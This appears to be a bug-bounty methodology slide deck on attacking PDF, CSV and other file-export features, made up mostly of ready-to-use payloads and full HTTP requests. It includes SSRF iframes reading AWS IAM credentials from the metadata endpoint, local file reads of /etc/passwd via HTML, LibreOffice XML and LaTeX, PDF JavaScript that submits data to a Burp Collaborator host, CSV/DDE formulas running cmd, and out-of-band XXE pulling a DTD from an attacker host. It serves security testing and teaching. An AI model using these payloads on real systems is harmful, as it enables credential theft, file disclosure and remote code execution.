



File Generation



Download Your Information

Mahmoud M. Awali

 **@0xAwali**



attacker

My Methodology

If There Is PDF Generation Process , **Inject Blind XSS Payloads** e.g. ``
OR `<style><iframe src="http://me:80">` To Figure Out There Is HTML Rendering OR Not



Video

```
POST /downloadDATA HTTP/1.1
Host: company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
name=  &address=egy&fileTYPE=pdf
```



attacker

My Methodology

If There Is PDF Generation Process , Inject LFI Payloads e.g. `<link rel=attachment href="file:///etc/passwd">` OR `<script>document.write('<iframe src=file:///etc/passwd></iframe>');`
`</script>` To Read Local Files

-  Video
-  Blog
-  Writeup
-  Writeup

```
POST /downloadDATA HTTP/1.1
Host: company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
name=<link rel=attachment href="file:///etc/passwd">
&address=egy&fileTYPE=pdf
```



attacker

My Methodology

If There Is PDF Generation Process , **Inject Blind XSS Payloads With IP 169.254.169.254**
e.g. "><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials"></iframe> To
Read The AWS IAM role name

-  Video
-  Writeup
-  Writeup
-  Writeup

```
POST /downloadDATA HTTP/1.1
Host: company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number
```

```
name="><iframe src="http://169.254.169.254/latest/
meta-data/iam/security-credentials"></iframe>&
address=egy&fileTYPE=pdf
```



attacker

My Methodology

If There Is PDF Generation Process Based On **LibreOffice** OR **OpenOffice** , Try To Inject Payloads e.g. `<draw:object xlink:href="https://me.com/file" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/>` To Read Local Files



Blog



Writeup

```
POST /downloadDATA HTTP/1.1
Host: company.com
Content-Length: Number
```

```
name=<draw:frame draw:style-name="fr1" draw:name="Object1"
text:anchor-type="paragraph" svg:width="6.6925in" svg:height="1.1791in"
draw:z-index="0"><draw:object xlink:href="file:///etc/passwd"
xlink:type="simple" xlink:show="embed"
xlink:actuate="onLoad"/><draw:image
xlink:href="/ObjectReplacements/Object 1" xlink:type="simple"
xlink:show="embed" xlink:actuate="onLoad"/></draw:frame>
&address=egy&fileTYPE=pdf
```



attacker

My Methodology

If There Is PDF Generation Process Based On **LibreOffice** OR **OpenOffice** , Try To Inject Payloads e.g. `<text:section-source xlink:href="http://169.254.169.254/latest/meta-data/ xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/>` To Read The Meta Data



Blog




```
POST /downloadDATA HTTP/1.1
Host: company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number
```

```
name= <office:text><text:section text:name="string">
<text:section-source xlink:href="http://169.254.169.254/latest/meta-data/
xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/>
</text:section></office:text> &address=egy&fileTYPE=pdf
```



attacker

List Of Payloads You Must Use Its If There Is PDF Generation Bases On Input

-  Blog
-  Video
-  Slides

```
/blah>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>{

/blah>>/A<</S/JavaScript/JS(app.alert(1);
this.submitForm({
cURL: 'https://id.burpcollaborator.net',cSubmitAs: 'PDF'})}
/Type/Action>>/>>{

/blah>>/A<</S/SubmitForm/Flags 256/F{
https://id.burpcollaborator.net)
/Type/Action>>/>>{

/blah>>/A<</S/JavaScript/JS(app.alert(1)

/S/JavaScript/JS(app.alert(1)

/} >> >>
<</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 ~298.27] /Border [0 0
0] /A <</S/SubmitForm/Flags 0/F(https://id.burpcollaborator.net
```



attacker

My Methodology

If You Can Export Your Data As Spreadsheet Files , Inject CSV Payloads e.g. `=sum(10+10)` , `=cmd|' /C calc'!A0` , `DDE ("cmd";"/C calc";"!A0")` OR `@SUM(1+1)*cmd|' /C calc'!A0` To Get RCE

-  Blog
-  Writeup
-  Writeup
-  Writeup

```
POST /downloadDATA HTTP/1.1
Host: company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: https://previous.com/path
Origin: https://www.company.com
Content-Length: Number
```

```
name=me=cmd|' /C calc'!A0&address=egy&fileTYPE=csv
```




attacker

List Of CSV Payloads



Blog



Blog

```
HYPERLINK("https://me.com", "ME")  
=cmd|' /C notepad!'A1'  
=cmd|' /C ping IP-Of-Me!'A1'  
='file:///etc/passwd'#$passwd.A1  
=WEBSERVICE(CONCATENATE("http://me.com/",("file:///etc/passwd'#$passwd.A1")))
```



attacker

My Methodology

If You Can Download XML Content As PDF , Inject XXE Payloads e.g. `<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE a [<!ENTITY % asd SYSTEM "http://me.com/evil.dtd"> %asd; %c;]>`
To Get OOB XXE

-  Writeup

```
POST /downloadDATA HTTP/1.1
Host: company.com
User-Agent: Mozilla/5.0
Content-Type: application/xml
Content-Length: Number
```

```
name=me&code=<?xml version="1.0"
encoding="UTF-8"?><!DOCTYPE a [ <!ENTITY % asd
SYSTEM "http://me.com/evil.dtd"> %asd;
%c;]>&fileTYPE=xml-to-pdf
```



attacker

My Methodology

If You Can Write Latex Code To Convert It To PDF , Inject Latex Payloads e.g. `\newread\file`
`\openin\file=/etc/passwd\loop\unless\ifeof\file\read\file to\fileline\text{\fileline}\repeat\closein\file` To
Read Local Files

-  Writeup
-  Payloads

```
POST /downloadDATA HTTP/1.1
Host: company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Origin: https://www.company.com
Content-Length: Number
```

```
name=me&code=\newread\file\openin\file=/etc/passwd\loop\unless\ifeof\file\read\fileto\fileline\text{\fileline}\repeat\closein\file&fileTYPE=latex-to-pdf
```

Render or surrender! Attack PDF generators

If you've met **PDF rendering** like receipts, reports, bills — be sure in majority cases it's **server-side** rendered from **HTML source** using libs or headless browser.

So if there is **HTML** — you can try to **inject tags**!

receipt1336.pdf

Dear username,

Thank you for your order!

| | |
|----------|----------|
| Order # | 00001336 |
| Item | \$24.00 |
| Shipping | \$6.00 |
| Total | \$30.00 |

| | |
|--------------------------------|--------------------------------|
| Delivery Address | Billing Address |
| 1337 S. Broadway Ave Unit 2 | 1337 S. Broadway Ave Unit 2 |

username

test'"><iframe src=http://127.1/pma>

It's straight way to **SSRF**
Inject an iframe

receipt1337.pdf

Dear test'">

Thank you for your order!

| | |
|----------|----------|
| Order # | 00001337 |
| Item | \$24.00 |
| Shipping | \$6.00 |
| Total | \$30.00 |

Thank You

Mahmoud M. Awali

 **@0xAwali**